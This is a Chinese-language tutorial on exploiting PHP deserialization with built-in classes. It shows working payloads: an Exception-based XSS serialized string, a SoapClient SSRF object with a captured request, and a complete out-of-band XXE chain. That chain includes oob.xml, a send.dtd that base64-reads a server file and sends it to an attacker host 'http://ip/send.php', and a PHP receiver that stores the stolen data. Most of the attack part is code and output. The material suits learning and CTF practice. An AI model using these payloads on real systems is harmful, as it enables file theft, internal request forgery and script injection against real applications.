PHP反序列化原生类
原生类
概念
PHP原生类是指PHP语言内置的、无需额外安装或引入即可直接使用的类(达到条件自动触发,无需开发者自己编写)。这些类是PHP核心功能的一部分,提供了各种基础功能的面向对象实现。
PHP原生类提供了强大的内置功能,开发者可以直接使用这些类而无需重新发明轮子。
利用条件
1、有触发魔术方法(且未编写魔术方法)
2、魔术方法有利用类(自动触发原生类)
3、部分自带类拓展开启(如SoapClient类,需开启Soap 扩展)
常见的原生类
执行如下代码,可以列出原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__construct',
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
执行结果,未截全
常见的触发漏洞的原生类
1、使用Error/Exception类进行XSS
2、使用SoapClient类进行SSRF
3、使用SimpleXMLElement类进行xxe
Error::__toString/Exception::__toString
Error/Exception类是php的一个内置类,用于自动自定义一个Error,在php5/php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString()
的方法,常用于PHP 反序列化中。
Error 内置类:适用于php7版本,在开启报错的情况下
Exception 内置类:适用于php5、7版本,开启报错的情况下
测试代码
<?php
$a = unserialize($_GET['xss']); // 反序列化用户可控数据
echo $a; // 触发 __toString()
?>
- 目标代码存在反序列化漏洞,并通过
echo
触发对象的__toString()
方法,创作者未定义__toString()
方法,自动触发 原生类Exception
。 - PHP 原生类
Exception
在转为字符串时会输出其message
属性(未转义),而攻击者可以完全控制message
属性,导致 XSS。
生成恶意序列化数据
<?php
$a = new Exception("<script>alert('xss')</script>");
echo urlencode(serialize($a));
?>
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A41%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5C76%5Cxsspop.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A4%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
pop利用结果
目标反序列化后,echo $a
会调用 Exception
的 __toString()
,直接输出 <script>alert('xss')</script>
触发xss漏洞。
漏洞链
unserialize
→ 构造 Exception
对象 → echo
触发 __toString()
→ 输出未转义的 message
→ XSS。
Exception::__toString与__toString的区别
SoapClient::__call
使用该类时需开启Soap 扩展,打开php.ini配置文件,将extension=php_soap.dll
的;
去掉即可。
PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。
该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
测试代码
<?php
$s = unserialize($_GET['ssrf']);// 反序列化用户输入
$s->a(); // 调用不存在的方法,触发SoapClient::__call
?>
- 漏洞代码
unserialize($_GET['ssrf'])
反序列化用户控制的输入 - 反序列化后对象
$s
被调用不存在的方法a()
($s->a()
),触发__call
魔术方法,创作者未定义__call
方法,所以触发SoapClient原生类__call
魔术方法 - SoapClient原生类
__call
会构造一个 SOAP 请求并发送到初始化时配置的location
生成恶意序列化数据
<?php
$a = new SoapClient(null,array('location'=>'http://10.10.220.17:2222/aaa', 'uri'=>'http://10.10.220.17:2222'));
$b = serialize($a);
echo $b;
?>
O:10:"SoapClient":3:{s:3:"uri";s:24:"http://10.10.220.17:2222";s:8:"location";s:28:"http://10.10.220.17:2222/aaa";s:13:"_soap_version";i:1;}
- 第一个参数为 null 表示不使用 WSDL
- location 指定请求发送的目标
- uri 是 SOAP 命名空间
结果
监听2222端口看是否收到消息
E:\>ncat.exe -l -p 2222
POST /aaa HTTP/1.1
Host: 10.10.220.17:2222
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.5.38
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://10.10.220.17:2222#a"
Content-Length: 385
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://10.10.220.17:2222" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
- 当调用任何不存在的方法时,SoapClient 会:
- 构造 SOAP 信封(Envelope)
- 向 location 发送 HTTP POST 请求
- 在请求头中包含
SOAPAction
字段,值为"uri#methodName"
SOAPAction
头(来自uri#methodName
)
SoapClient::__call与__call的区别
普通对象反序列化:
[unserialize] -> [调用不存在方法] -> [执行__call逻辑] -> [返回结果]
SoapClient反序列化:
[unserialize] -> [调用不存在方法] ->[未定义__call魔法常量]->[触发SoapClient::__call]-> [自动构造SOAP请求] -> [网络连接] -> [尝试解析响应]
SimpleXMLElement::__construct
SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
没有明显的 PHP 代码处理 XML,也可以利用 PHP 原生类的特性触发 XXE:
漏洞代码原理
源码
<?php // 有XXE漏洞的简单代码示例
// 用户可控的XML输入(实际可能来自用户提交或外部URL)
$xml = <<<XML
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c://1.txt">
]>
<root>&xxe;</root>
XML;
// 危险的使用方式 - 启用了实体替换
$sxe = new SimpleXMLElement($xml, LIBXML_NOENT);
// 显示解析后的XML内容
echo "解析后的XML内容:\n";
print_r($sxe).'<br>';
// 或者将内容输出到页面
echo "\n\n文件内容已泄露:";
echo $sxe;
?>
结果
漏洞产生原因
- 用户可控的XML输入:攻击者可以提交包含恶意实体定义的XML
- 启用实体替换:使用
LIBXML_NOENT
常量(值为2)允许外部实体替换 - 未禁用外部实体加载:没有调用
libxml_disable_entity_loader(true)
简单例题
CTF题型利用构造,外带
可以看到通过设置第三个参数 data_is_url 为 true
,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为**2
**即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
利用代码
<?php
$sxe=new SimpleXMLElement('http://ip/oob.xml',2,true);
$a = serialize($sxe);
echo $a;
?>
SimpleXMLElement构造函数参数:
- 第一个参数是XML数据源(这里是一个远程URL)
- 第二个参数
2
表示LIBXML_NOENT
选项,这会启用实体替换 - 第三个参数
true
表示第一个参数是URL而非字符串
oob.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://ip/send.dtd">
%remote;
%all;
%send;
]>
send.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip/send.php?file=%file;'>">
send.php
send.php用于接收外带出来的数据
<?php
file_put_contents("result.txt", $_GET['file']) ;
?>
服务器会生成一个result.txt,就是外带出来的内容
漏洞链
用户输入恶意XML → PHP传递给SimpleXMLElement → libxml2解析器加载 → 遇到ENTITY声明 → 检查NOENT标志 → 发起外部请求/读取文件→ 内容注入到DOM树 → 返回给PHP变量